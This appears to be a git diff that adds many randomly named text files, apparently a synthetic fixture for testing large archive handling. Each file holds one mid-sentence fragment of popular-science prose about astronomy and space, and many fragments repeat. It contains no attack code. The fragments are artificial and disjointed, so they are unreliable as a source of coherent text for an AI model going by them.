diff --git a/big_zip/big-zip-files/folder_upmnuvdruy/file_lcjkxpcxcoxlpib.txt b/big_zip/big-zip-files/folder_upmnuvdruy/file_lcjkxpcxcoxlpib.txt
new file mode 100644
index 0000000..e40cb76
--- /dev/null
+++ b/big_zip/big-zip-files/folder_upmnuvdruy/file_lcjkxpcxcoxlpib.txt
@@ -0,0 +1 @@
+solitary wanderers; most inhabit communal clusters, huddling together, drifting endlessly in
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_upmnuvdruy/file_ljhlbcegtutzzmwcwrmf.txt b/big_zip/big-zip-files/folder_upmnuvdruy/file_ljhlbcegtutzzmwcwrmf.txt
new file mode 100644
index 0000000..e40cb76
--- /dev/null
+++ b/big_zip/big-zip-files/folder_upmnuvdruy/file_ljhlbcegtutzzmwcwrmf.txt
@@ -0,0 +1 @@
+solitary wanderers; most inhabit communal clusters, huddling together, drifting endlessly in
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_upmnuvdruy/file_luxzugsemdnedatvcxitaqrr.txt b/big_zip/big-zip-files/folder_upmnuvdruy/file_luxzugsemdnedatvcxitaqrr.txt
new file mode 100644
index 0000000..e40cb76
--- /dev/null
+++ b/big_zip/big-zip-files/folder_upmnuvdruy/file_luxzugsemdnedatvcxitaqrr.txt
@@ -0,0 +1 @@
+solitary wanderers; most inhabit communal clusters, huddling together, drifting endlessly in
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_upmnuvdruy/file_qouetkzbivvputgflcgrist.txt b/big_zip/big-zip-files/folder_upmnuvdruy/file_qouetkzbivvputgflcgrist.txt
new file mode 100644
index 0000000..e40cb76
--- /dev/null
+++ b/big_zip/big-zip-files/folder_upmnuvdruy/file_qouetkzbivvputgflcgrist.txt
@@ -0,0 +1 @@
+solitary wanderers; most inhabit communal clusters, huddling together, drifting endlessly in
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_upmnuvdruy/file_qtiogfhofksijpkglncndb.txt b/big_zip/big-zip-files/folder_upmnuvdruy/file_qtiogfhofksijpkglncndb.txt
new file mode 100644
index 0000000..e40cb76
--- /dev/null
+++ b/big_zip/big-zip-files/folder_upmnuvdruy/file_qtiogfhofksijpkglncndb.txt
@@ -0,0 +1 @@
+solitary wanderers; most inhabit communal clusters, huddling together, drifting endlessly in
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_upmnuvdruy/file_qxfwwvntrtdrquxzy.txt b/big_zip/big-zip-files/folder_upmnuvdruy/file_qxfwwvntrtdrquxzy.txt
new file mode 100644
index 0000000..e40cb76
--- /dev/null
+++ b/big_zip/big-zip-files/folder_upmnuvdruy/file_qxfwwvntrtdrquxzy.txt
@@ -0,0 +1 @@
+solitary wanderers; most inhabit communal clusters, huddling together, drifting endlessly in
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_upmnuvdruy/file_xzculhweew.txt b/big_zip/big-zip-files/folder_upmnuvdruy/file_xzculhweew.txt
new file mode 100644
index 0000000..e40cb76
--- /dev/null
+++ b/big_zip/big-zip-files/folder_upmnuvdruy/file_xzculhweew.txt
@@ -0,0 +1 @@
+solitary wanderers; most inhabit communal clusters, huddling together, drifting endlessly in
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_upmnuvdruy/folder_leyglzuinv/avbjaertpqyjsm.txt b/big_zip/big-zip-files/folder_upmnuvdruy/folder_leyglzuinv/avbjaertpqyjsm.txt
new file mode 100644
index 0000000..99dd228
--- /dev/null
+++ b/big_zip/big-zip-files/folder_upmnuvdruy/folder_leyglzuinv/avbjaertpqyjsm.txt
@@ -0,0 +1 @@
+distant memory, of falling from a height. We know we are approaching the greatest of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_upmnuvdruy/folder_leyglzuinv/bgicxpfobdikllb.txt b/big_zip/big-zip-files/folder_upmnuvdruy/folder_leyglzuinv/bgicxpfobdikllb.txt
new file mode 100644
index 0000000..e6b48c4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_upmnuvdruy/folder_leyglzuinv/bgicxpfobdikllb.txt
@@ -0,0 +1 @@
+of one of the observatory engineers, a man who harbored reservations about his daughter
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_upmnuvdruy/folder_leyglzuinv/file_azdidhwnexeszbnke.txt b/big_zip/big-zip-files/folder_upmnuvdruy/folder_leyglzuinv/file_azdidhwnexeszbnke.txt
new file mode 100644
index 0000000..b5c973f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_upmnuvdruy/folder_leyglzuinv/file_azdidhwnexeszbnke.txt
@@ -0,0 +1 @@
+the first to recognize that Saturn was surrounded by a system of rings which nowhere
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_upmnuvdruy/folder_leyglzuinv/file_cevjmvucwnenbv.txt b/big_zip/big-zip-files/folder_upmnuvdruy/folder_leyglzuinv/file_cevjmvucwnenbv.txt
new file mode 100644
index 0000000..b5c973f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_upmnuvdruy/folder_leyglzuinv/file_cevjmvucwnenbv.txt
@@ -0,0 +1 @@
+the first to recognize that Saturn was surrounded by a system of rings which nowhere
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_upmnuvdruy/folder_leyglzuinv/file_dcnzbgrkhgrhnceoieejlq.txt b/big_zip/big-zip-files/folder_upmnuvdruy/folder_leyglzuinv/file_dcnzbgrkhgrhnceoieejlq.txt
new file mode 100644
index 0000000..b5c973f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_upmnuvdruy/folder_leyglzuinv/file_dcnzbgrkhgrhnceoieejlq.txt
@@ -0,0 +1 @@
+the first to recognize that Saturn was surrounded by a system of rings which nowhere
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_upmnuvdruy/folder_leyglzuinv/file_doqhzutue.txt b/big_zip/big-zip-files/folder_upmnuvdruy/folder_leyglzuinv/file_doqhzutue.txt
new file mode 100644
index 0000000..b5c973f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_upmnuvdruy/folder_leyglzuinv/file_doqhzutue.txt
@@ -0,0 +1 @@
+the first to recognize that Saturn was surrounded by a system of rings which nowhere
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_upmnuvdruy/folder_leyglzuinv/file_dulouqaduba.txt b/big_zip/big-zip-files/folder_upmnuvdruy/folder_leyglzuinv/file_dulouqaduba.txt
new file mode 100644
index 0000000..b5c973f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_upmnuvdruy/folder_leyglzuinv/file_dulouqaduba.txt
@@ -0,0 +1 @@
+the first to recognize that Saturn was surrounded by a system of rings which nowhere
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_upmnuvdruy/folder_leyglzuinv/file_fmotbuimjdm.txt b/big_zip/big-zip-files/folder_upmnuvdruy/folder_leyglzuinv/file_fmotbuimjdm.txt
new file mode 100644
index 0000000..b5c973f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_upmnuvdruy/folder_leyglzuinv/file_fmotbuimjdm.txt
@@ -0,0 +1 @@
+the first to recognize that Saturn was surrounded by a system of rings which nowhere
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_upmnuvdruy/folder_leyglzuinv/file_ibhwcxcmceshttqkosxc.txt b/big_zip/big-zip-files/folder_upmnuvdruy/folder_leyglzuinv/file_ibhwcxcmceshttqkosxc.txt
new file mode 100644
index 0000000..b5c973f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_upmnuvdruy/folder_leyglzuinv/file_ibhwcxcmceshttqkosxc.txt
@@ -0,0 +1 @@
+the first to recognize that Saturn was surrounded by a system of rings which nowhere
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_upmnuvdruy/folder_leyglzuinv/file_kafekpoohdat.txt b/big_zip/big-zip-files/folder_upmnuvdruy/folder_leyglzuinv/file_kafekpoohdat.txt
new file mode 100644
index 0000000..b5c973f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_upmnuvdruy/folder_leyglzuinv/file_kafekpoohdat.txt
@@ -0,0 +1 @@
+the first to recognize that Saturn was surrounded by a system of rings which nowhere
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_upmnuvdruy/folder_leyglzuinv/file_kvhjxkgn.txt b/big_zip/big-zip-files/folder_upmnuvdruy/folder_leyglzuinv/file_kvhjxkgn.txt
new file mode 100644
index 0000000..b5c973f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_upmnuvdruy/folder_leyglzuinv/file_kvhjxkgn.txt
@@ -0,0 +1 @@
+the first to recognize that Saturn was surrounded by a system of rings which nowhere
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_upmnuvdruy/folder_leyglzuinv/file_lzidgjihuxaz.txt b/big_zip/big-zip-files/folder_upmnuvdruy/folder_leyglzuinv/file_lzidgjihuxaz.txt
new file mode 100644
index 0000000..b5c973f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_upmnuvdruy/folder_leyglzuinv/file_lzidgjihuxaz.txt
@@ -0,0 +1 @@
+the first to recognize that Saturn was surrounded by a system of rings which nowhere
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_upmnuvdruy/folder_leyglzuinv/file_lzinthidadumk.txt b/big_zip/big-zip-files/folder_upmnuvdruy/folder_leyglzuinv/file_lzinthidadumk.txt
new file mode 100644
index 0000000..b5c973f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_upmnuvdruy/folder_leyglzuinv/file_lzinthidadumk.txt
@@ -0,0 +1 @@
+the first to recognize that Saturn was surrounded by a system of rings which nowhere
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_upmnuvdruy/folder_leyglzuinv/file_mlnvomtkgtognmt.txt b/big_zip/big-zip-files/folder_upmnuvdruy/folder_leyglzuinv/file_mlnvomtkgtognmt.txt
new file mode 100644
index 0000000..b5c973f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_upmnuvdruy/folder_leyglzuinv/file_mlnvomtkgtognmt.txt
@@ -0,0 +1 @@
+the first to recognize that Saturn was surrounded by a system of rings which nowhere
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_upmnuvdruy/folder_leyglzuinv/file_onpcvzrvr.txt b/big_zip/big-zip-files/folder_upmnuvdruy/folder_leyglzuinv/file_onpcvzrvr.txt
new file mode 100644
index 0000000..b5c973f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_upmnuvdruy/folder_leyglzuinv/file_onpcvzrvr.txt
@@ -0,0 +1 @@
+the first to recognize that Saturn was surrounded by a system of rings which nowhere
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_upmnuvdruy/folder_leyglzuinv/file_pwldmyeku.txt b/big_zip/big-zip-files/folder_upmnuvdruy/folder_leyglzuinv/file_pwldmyeku.txt
new file mode 100644
index 0000000..b5c973f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_upmnuvdruy/folder_leyglzuinv/file_pwldmyeku.txt
@@ -0,0 +1 @@
+the first to recognize that Saturn was surrounded by a system of rings which nowhere
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_upmnuvdruy/folder_leyglzuinv/file_sqvfruybubzwqjqdchbl.txt b/big_zip/big-zip-files/folder_upmnuvdruy/folder_leyglzuinv/file_sqvfruybubzwqjqdchbl.txt
new file mode 100644
index 0000000..b5c973f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_upmnuvdruy/folder_leyglzuinv/file_sqvfruybubzwqjqdchbl.txt
@@ -0,0 +1 @@
+the first to recognize that Saturn was surrounded by a system of rings which nowhere
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_upmnuvdruy/folder_leyglzuinv/file_valapvujoqffysybtqvgf.txt b/big_zip/big-zip-files/folder_upmnuvdruy/folder_leyglzuinv/file_valapvujoqffysybtqvgf.txt
new file mode 100644
index 0000000..b5c973f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_upmnuvdruy/folder_leyglzuinv/file_valapvujoqffysybtqvgf.txt
@@ -0,0 +1 @@
+the first to recognize that Saturn was surrounded by a system of rings which nowhere
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_upmnuvdruy/folder_leyglzuinv/file_vojllzmmsnluwqcdte.txt b/big_zip/big-zip-files/folder_upmnuvdruy/folder_leyglzuinv/file_vojllzmmsnluwqcdte.txt
new file mode 100644
index 0000000..b5c973f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_upmnuvdruy/folder_leyglzuinv/file_vojllzmmsnluwqcdte.txt
@@ -0,0 +1 @@
+the first to recognize that Saturn was surrounded by a system of rings which nowhere
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_upmnuvdruy/folder_leyglzuinv/file_xclsbwbtl.txt b/big_zip/big-zip-files/folder_upmnuvdruy/folder_leyglzuinv/file_xclsbwbtl.txt
new file mode 100644
index 0000000..b5c973f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_upmnuvdruy/folder_leyglzuinv/file_xclsbwbtl.txt
@@ -0,0 +1 @@
+the first to recognize that Saturn was surrounded by a system of rings which nowhere
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_upmnuvdruy/folder_leyglzuinv/file_yvhwouwebdtseb.txt b/big_zip/big-zip-files/folder_upmnuvdruy/folder_leyglzuinv/file_yvhwouwebdtseb.txt
new file mode 100644
index 0000000..b5c973f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_upmnuvdruy/folder_leyglzuinv/file_yvhwouwebdtseb.txt
@@ -0,0 +1 @@
+the first to recognize that Saturn was surrounded by a system of rings which nowhere
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_upmnuvdruy/folder_leyglzuinv/hiwgvwuejlqsljwyduhqoog.txt b/big_zip/big-zip-files/folder_upmnuvdruy/folder_leyglzuinv/hiwgvwuejlqsljwyduhqoog.txt
new file mode 100644
index 0000000..d43862c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_upmnuvdruy/folder_leyglzuinv/hiwgvwuejlqsljwyduhqoog.txt
@@ -0,0 +1 @@
+noncombatants were killed. The technology of death advanced ominously. Nuclear
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_upmnuvdruy/folder_leyglzuinv/ieqajtvookeyel.txt b/big_zip/big-zip-files/folder_upmnuvdruy/folder_leyglzuinv/ieqajtvookeyel.txt
new file mode 100644
index 0000000..dbbc320
--- /dev/null
+++ b/big_zip/big-zip-files/folder_upmnuvdruy/folder_leyglzuinv/ieqajtvookeyel.txt
@@ -0,0 +1 @@
+We have heard so far the voice of life on one small world only. But we have at last
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_upmnuvdruy/folder_leyglzuinv/iggjepgutdkdzdshfct.txt b/big_zip/big-zip-files/folder_upmnuvdruy/folder_leyglzuinv/iggjepgutdkdzdshfct.txt
new file mode 100644
index 0000000..31c75e8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_upmnuvdruy/folder_leyglzuinv/iggjepgutdkdzdshfct.txt
@@ -0,0 +1 @@
+many weapon systems in a single year. In the last quarter of 1979, the program cost of the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_upmnuvdruy/folder_leyglzuinv/lqxlmpgazwuuol.txt b/big_zip/big-zip-files/folder_upmnuvdruy/folder_leyglzuinv/lqxlmpgazwuuol.txt
new file mode 100644
index 0000000..ee5ac1c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_upmnuvdruy/folder_leyglzuinv/lqxlmpgazwuuol.txt
@@ -0,0 +1 @@
+is inexpensive. The budget for space sciences in the United States is enormous. Comparable
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_upmnuvdruy/folder_leyglzuinv/lxbhcdpyhy.txt b/big_zip/big-zip-files/folder_upmnuvdruy/folder_leyglzuinv/lxbhcdpyhy.txt
new file mode 100644
index 0000000..d0c1f5d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_upmnuvdruy/folder_leyglzuinv/lxbhcdpyhy.txt
@@ -0,0 +1 @@
+anything other than that the Earth is a kind of vast house with the vault of the sky placed on
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_upmnuvdruy/folder_leyglzuinv/rrlqlkomxxiir.txt b/big_zip/big-zip-files/folder_upmnuvdruy/folder_leyglzuinv/rrlqlkomxxiir.txt
new file mode 100644
index 0000000..0988c64
--- /dev/null
+++ b/big_zip/big-zip-files/folder_upmnuvdruy/folder_leyglzuinv/rrlqlkomxxiir.txt
@@ -0,0 +1 @@
+Day 295 We enter the asteroid belt. There are many large, tumbling boulders here,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_upmnuvdruy/folder_leyglzuinv/trfskdpvkajqvg.txt b/big_zip/big-zip-files/folder_upmnuvdruy/folder_leyglzuinv/trfskdpvkajqvg.txt
new file mode 100644
index 0000000..9e85fcc
--- /dev/null
+++ b/big_zip/big-zip-files/folder_upmnuvdruy/folder_leyglzuinv/trfskdpvkajqvg.txt
@@ -0,0 +1 @@
+any energy source that breaks chemical bonds, we can produce the essential building blocks
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_upmnuvdruy/folder_leyglzuinv/tvrsdrdkqd.txt b/big_zip/big-zip-files/folder_upmnuvdruy/folder_leyglzuinv/tvrsdrdkqd.txt
new file mode 100644
index 0000000..40c737b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_upmnuvdruy/folder_leyglzuinv/tvrsdrdkqd.txt
@@ -0,0 +1 @@
+and crashed, or at the least its mechanical arm, intended to acquire Martian soil samples,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_upmnuvdruy/folder_leyglzuinv/txjfhawvqfpdjvdpfm.txt b/big_zip/big-zip-files/folder_upmnuvdruy/folder_leyglzuinv/txjfhawvqfpdjvdpfm.txt
new file mode 100644
index 0000000..58765a3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_upmnuvdruy/folder_leyglzuinv/txjfhawvqfpdjvdpfm.txt
@@ -0,0 +1 @@
+movements are carried out by means of a single, quite simple magnetic force, as in
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_upmnuvdruy/folder_leyglzuinv/yfyqenremcerpwzuk.txt b/big_zip/big-zip-files/folder_upmnuvdruy/folder_leyglzuinv/yfyqenremcerpwzuk.txt
new file mode 100644
index 0000000..b4bdfbc
--- /dev/null
+++ b/big_zip/big-zip-files/folder_upmnuvdruy/folder_leyglzuinv/yfyqenremcerpwzuk.txt
@@ -0,0 +1 @@
+mathematically deduced the nature of the gravitational force.* He showed that the same
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_upmnuvdruy/folder_leyglzuinv/yhmtzayosqmzwoiadsyueye.txt b/big_zip/big-zip-files/folder_upmnuvdruy/folder_leyglzuinv/yhmtzayosqmzwoiadsyueye.txt
new file mode 100644
index 0000000..2d2fe34
--- /dev/null
+++ b/big_zip/big-zip-files/folder_upmnuvdruy/folder_leyglzuinv/yhmtzayosqmzwoiadsyueye.txt
@@ -0,0 +1 @@
+having six squares as sides. There are an infinite number of regular polygons, but only five
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_uqzuntjyvm/ahyuakdxwdf.txt b/big_zip/big-zip-files/folder_uqzuntjyvm/ahyuakdxwdf.txt
new file mode 100644
index 0000000..1f7cf78
--- /dev/null
+++ b/big_zip/big-zip-files/folder_uqzuntjyvm/ahyuakdxwdf.txt
@@ -0,0 +1 @@
+Prague. Theirs was not a happy marriage. Chronically ill, having recently lost two young
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_uqzuntjyvm/bombvmgmwp.txt b/big_zip/big-zip-files/folder_uqzuntjyvm/bombvmgmwp.txt
new file mode 100644
index 0000000..661c309
--- /dev/null
+++ b/big_zip/big-zip-files/folder_uqzuntjyvm/bombvmgmwp.txt
@@ -0,0 +1 @@
+into making you, the original set of genetic instructions was duplicated with great fidelity.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_uqzuntjyvm/dzzgmmfyiskhcbntykqz.txt b/big_zip/big-zip-files/folder_uqzuntjyvm/dzzgmmfyiskhcbntykqz.txt
new file mode 100644
index 0000000..73a7a99
--- /dev/null
+++ b/big_zip/big-zip-files/folder_uqzuntjyvm/dzzgmmfyiskhcbntykqz.txt
@@ -0,0 +1 @@
+intercontinental ballistic missile among hundreds of decoys? Would we argue that ten
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_uqzuntjyvm/file_algszqqa.txt b/big_zip/big-zip-files/folder_uqzuntjyvm/file_algszqqa.txt
new file mode 100644
index 0000000..cc4c40f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_uqzuntjyvm/file_algszqqa.txt
@@ -0,0 +1 @@
+traveling fast into the future. But what of the past? Could we return to the past and change
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_uqzuntjyvm/file_bsjjdakdrnhzaxruu.txt b/big_zip/big-zip-files/folder_uqzuntjyvm/file_bsjjdakdrnhzaxruu.txt
new file mode 100644
index 0000000..cc4c40f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_uqzuntjyvm/file_bsjjdakdrnhzaxruu.txt
@@ -0,0 +1 @@
+traveling fast into the future. But what of the past? Could we return to the past and change
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_uqzuntjyvm/file_emwpzzdaxwlopw.txt b/big_zip/big-zip-files/folder_uqzuntjyvm/file_emwpzzdaxwlopw.txt
new file mode 100644
index 0000000..cc4c40f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_uqzuntjyvm/file_emwpzzdaxwlopw.txt
@@ -0,0 +1 @@
+traveling fast into the future. But what of the past? Could we return to the past and change
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_uqzuntjyvm/file_eohtleohwfmsksgadfavhs.txt b/big_zip/big-zip-files/folder_uqzuntjyvm/file_eohtleohwfmsksgadfavhs.txt
new file mode 100644
index 0000000..cc4c40f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_uqzuntjyvm/file_eohtleohwfmsksgadfavhs.txt
@@ -0,0 +1 @@
+traveling fast into the future. But what of the past? Could we return to the past and change
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_uqzuntjyvm/file_exlmsjmitjvxzryjc.txt b/big_zip/big-zip-files/folder_uqzuntjyvm/file_exlmsjmitjvxzryjc.txt
new file mode 100644
index 0000000..cc4c40f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_uqzuntjyvm/file_exlmsjmitjvxzryjc.txt
@@ -0,0 +1 @@
+traveling fast into the future. But what of the past? Could we return to the past and change
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_uqzuntjyvm/file_hdohogubchsg.txt b/big_zip/big-zip-files/folder_uqzuntjyvm/file_hdohogubchsg.txt
new file mode 100644
index 0000000..cc4c40f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_uqzuntjyvm/file_hdohogubchsg.txt
@@ -0,0 +1 @@
+traveling fast into the future. But what of the past? Could we return to the past and change
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_uqzuntjyvm/file_itcnzreeucggikcpdazi.txt b/big_zip/big-zip-files/folder_uqzuntjyvm/file_itcnzreeucggikcpdazi.txt
new file mode 100644
index 0000000..cc4c40f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_uqzuntjyvm/file_itcnzreeucggikcpdazi.txt
@@ -0,0 +1 @@
+traveling fast into the future. But what of the past? Could we return to the past and change
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_uqzuntjyvm/file_jyqlrmlxevdbnb.txt b/big_zip/big-zip-files/folder_uqzuntjyvm/file_jyqlrmlxevdbnb.txt
new file mode 100644
index 0000000..cc4c40f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_uqzuntjyvm/file_jyqlrmlxevdbnb.txt
@@ -0,0 +1 @@
+traveling fast into the future. But what of the past? Could we return to the past and change
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_uqzuntjyvm/file_ktjrrdbjoye.txt b/big_zip/big-zip-files/folder_uqzuntjyvm/file_ktjrrdbjoye.txt
new file mode 100644
index 0000000..cc4c40f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_uqzuntjyvm/file_ktjrrdbjoye.txt
@@ -0,0 +1 @@
+traveling fast into the future. But what of the past? Could we return to the past and change
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_uqzuntjyvm/file_nvohfhuhcnyxhvsaxsjjybb.txt b/big_zip/big-zip-files/folder_uqzuntjyvm/file_nvohfhuhcnyxhvsaxsjjybb.txt
new file mode 100644
index 0000000..cc4c40f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_uqzuntjyvm/file_nvohfhuhcnyxhvsaxsjjybb.txt
@@ -0,0 +1 @@
+traveling fast into the future. But what of the past? Could we return to the past and change
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_uqzuntjyvm/file_onmmxlvkzisgolkm.txt b/big_zip/big-zip-files/folder_uqzuntjyvm/file_onmmxlvkzisgolkm.txt
new file mode 100644
index 0000000..cc4c40f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_uqzuntjyvm/file_onmmxlvkzisgolkm.txt
@@ -0,0 +1 @@
+traveling fast into the future. But what of the past? Could we return to the past and change
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_uqzuntjyvm/file_qcwqepomufzoqrwmfbmqk.txt b/big_zip/big-zip-files/folder_uqzuntjyvm/file_qcwqepomufzoqrwmfbmqk.txt
new file mode 100644
index 0000000..cc4c40f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_uqzuntjyvm/file_qcwqepomufzoqrwmfbmqk.txt
@@ -0,0 +1 @@
+traveling fast into the future. But what of the past? Could we return to the past and change
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_uqzuntjyvm/file_qvthuilnie.txt b/big_zip/big-zip-files/folder_uqzuntjyvm/file_qvthuilnie.txt
new file mode 100644
index 0000000..cc4c40f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_uqzuntjyvm/file_qvthuilnie.txt
@@ -0,0 +1 @@
+traveling fast into the future. But what of the past? Could we return to the past and change
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_uqzuntjyvm/file_rvhfwnekcfvsqulgkqde.txt b/big_zip/big-zip-files/folder_uqzuntjyvm/file_rvhfwnekcfvsqulgkqde.txt
new file mode 100644
index 0000000..cc4c40f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_uqzuntjyvm/file_rvhfwnekcfvsqulgkqde.txt
@@ -0,0 +1 @@
+traveling fast into the future. But what of the past? Could we return to the past and change
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_uqzuntjyvm/file_sqrfldswzgdlriv.txt b/big_zip/big-zip-files/folder_uqzuntjyvm/file_sqrfldswzgdlriv.txt
new file mode 100644
index 0000000..cc4c40f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_uqzuntjyvm/file_sqrfldswzgdlriv.txt
@@ -0,0 +1 @@
+traveling fast into the future. But what of the past? Could we return to the past and change
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_uqzuntjyvm/file_wwhvxcuieysfoscaxj.txt b/big_zip/big-zip-files/folder_uqzuntjyvm/file_wwhvxcuieysfoscaxj.txt
new file mode 100644
index 0000000..cc4c40f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_uqzuntjyvm/file_wwhvxcuieysfoscaxj.txt
@@ -0,0 +1 @@
+traveling fast into the future. But what of the past? Could we return to the past and change
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_uqzuntjyvm/file_zlokekttq.txt b/big_zip/big-zip-files/folder_uqzuntjyvm/file_zlokekttq.txt
new file mode 100644
index 0000000..cc4c40f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_uqzuntjyvm/file_zlokekttq.txt
@@ -0,0 +1 @@
+traveling fast into the future. But what of the past? Could we return to the past and change
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_uqzuntjyvm/gratzqtvmujskzs.txt b/big_zip/big-zip-files/folder_uqzuntjyvm/gratzqtvmujskzs.txt
new file mode 100644
index 0000000..0512f4a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_uqzuntjyvm/gratzqtvmujskzs.txt
@@ -0,0 +1 @@
+Asked what was the purpose of life, he replied, ‘the investigation of the Sun, the Moon, andthe heavens,’ the reply of a true astronomer. He performed a clever experiment in which a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_uqzuntjyvm/hwzviiuxahipl.txt b/big_zip/big-zip-files/folder_uqzuntjyvm/hwzviiuxahipl.txt
new file mode 100644
index 0000000..dc99134
--- /dev/null
+++ b/big_zip/big-zip-files/folder_uqzuntjyvm/hwzviiuxahipl.txt
@@ -0,0 +1 @@
+fourth letter in Ptolemy is an L. It is represented by the lion. The second letter of Cleopatra
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_uqzuntjyvm/nrxcllqkl.txt b/big_zip/big-zip-files/folder_uqzuntjyvm/nrxcllqkl.txt
new file mode 100644
index 0000000..8304227
--- /dev/null
+++ b/big_zip/big-zip-files/folder_uqzuntjyvm/nrxcllqkl.txt
@@ -0,0 +1 @@
+visible: oil-well fires in Libya and the Persian Gulf; deepwater illumination by the Japanese
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_uqzuntjyvm/rrgvzojtccwephrusvel.txt b/big_zip/big-zip-files/folder_uqzuntjyvm/rrgvzojtccwephrusvel.txt
new file mode 100644
index 0000000..8403597
--- /dev/null
+++ b/big_zip/big-zip-files/folder_uqzuntjyvm/rrgvzojtccwephrusvel.txt
@@ -0,0 +1 @@
+lights in the sky. But what were they? Just small hovering lamps? Whatever for? I felt a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_uqzuntjyvm/rrsetvxfsfwk.txt b/big_zip/big-zip-files/folder_uqzuntjyvm/rrsetvxfsfwk.txt
new file mode 100644
index 0000000..f1177d9
